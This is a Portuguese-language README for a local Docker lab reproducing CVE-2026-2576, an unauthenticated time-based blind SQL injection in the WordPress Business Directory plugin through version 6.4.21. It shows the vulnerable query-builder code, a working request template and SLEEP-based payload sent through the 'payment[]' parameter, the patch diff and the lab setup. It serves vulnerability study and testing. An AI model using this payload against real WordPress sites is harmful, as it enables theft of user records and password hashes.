
CVE-2026-2576 — PoC de SQLi no Plugin Business Directory (Configuração Local). Injeção SQL Cega Baseada em Tempo Não Autenticada no Plugin Business Directory para WordPress ≤ 6.4.21
Injeção SQL cega baseada em tempo sem autenticação
Plugin Business Directory para WordPress ≤ 6.4.21
| Campo | Detalhe |
|---|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Fornecedor | strategy11team |
| Afetado | Todas as versões ≤ 6.4.21 |
| Corrigido | 6.4.22 |
| Tipo | Injeção SQL cega baseada em tempo (CWE-89) |
| Autenticação | Nenhuma — totalmente sem autenticação |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Atribuidor | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgado | 18 de fevereiro de 2026 |
O Business Directory Plugin é um plugin WordPress amplamente utilizado para criar
diretórios de listagens com suporte a pagamentos. Uma falha no seu construtor de consultas ORM
permite que um atacante não autenticado realize injeção SQL cega baseada em tempo por meio do parâmetro de consulta payment,
possibilitando a inferência do conteúdo do banco de dados.
A vulnerabilidade reside no construtor de consultas ORM:
Arquivo: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNERÁVEL — sem sanitização, concatenação direta de strings
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Seguro — usa $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Quando $v é um escalar, o código usa corretamente $wpdb->prepare(). Quando
$v é um array, ele cai no ramo inseguro e concatena os valores
diretamente na string SQL sem qualquer escape.
O controlador de checkout (includes/controllers/pages/class-checkout.php)
lê o parâmetro de requisição payment e o passa para o ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id passado como valor
);
}
O PHP converte automaticamente payment[]=value na string de consulta em um
array $_GET['payment'] = ['value']. Isso força $v a ser um array em
filter_args(), atingindo o ramo inseguro.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← array devido à notação []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → ramo inseguro
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
SQL gerado:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
O -- - comenta o ') final. O IF() cria um oráculo booleano:
quando a condição é VERDADEIRA, SLEEP(N) é acionado e a resposta é
atrasada; quando FALSA, a resposta é imediata.
Observação: O ORM executa a consulta duas vezes por requisição (uma vez em get(), uma vez
em maybe_execute_query()), portanto um payload SLEEP(1) produz ~2 segundos de
atraso observável, e SLEEP(2) produz ~4 segundos.
Um atacante não autenticado pode inferir e extrair o conteúdo do banco de dados caractere por caractere por meio de respostas baseadas em tempo, incluindo:
wp_users), nomes de usuário, endereços de e-mail, hashes de senhaA correção na versão 6.4.22 adiciona sanitização ao ramo de array de
filter_args():
// ANTES (vulnerável)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// DEPOIS (corrigido)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Instale as dependências Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Aguarde até ver:
╔══════════════════════════════════════════════════════════╗
║ Configuração do Laboratório Concluída! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERÁVEL) ║
║ ID da Página BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Esperado: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+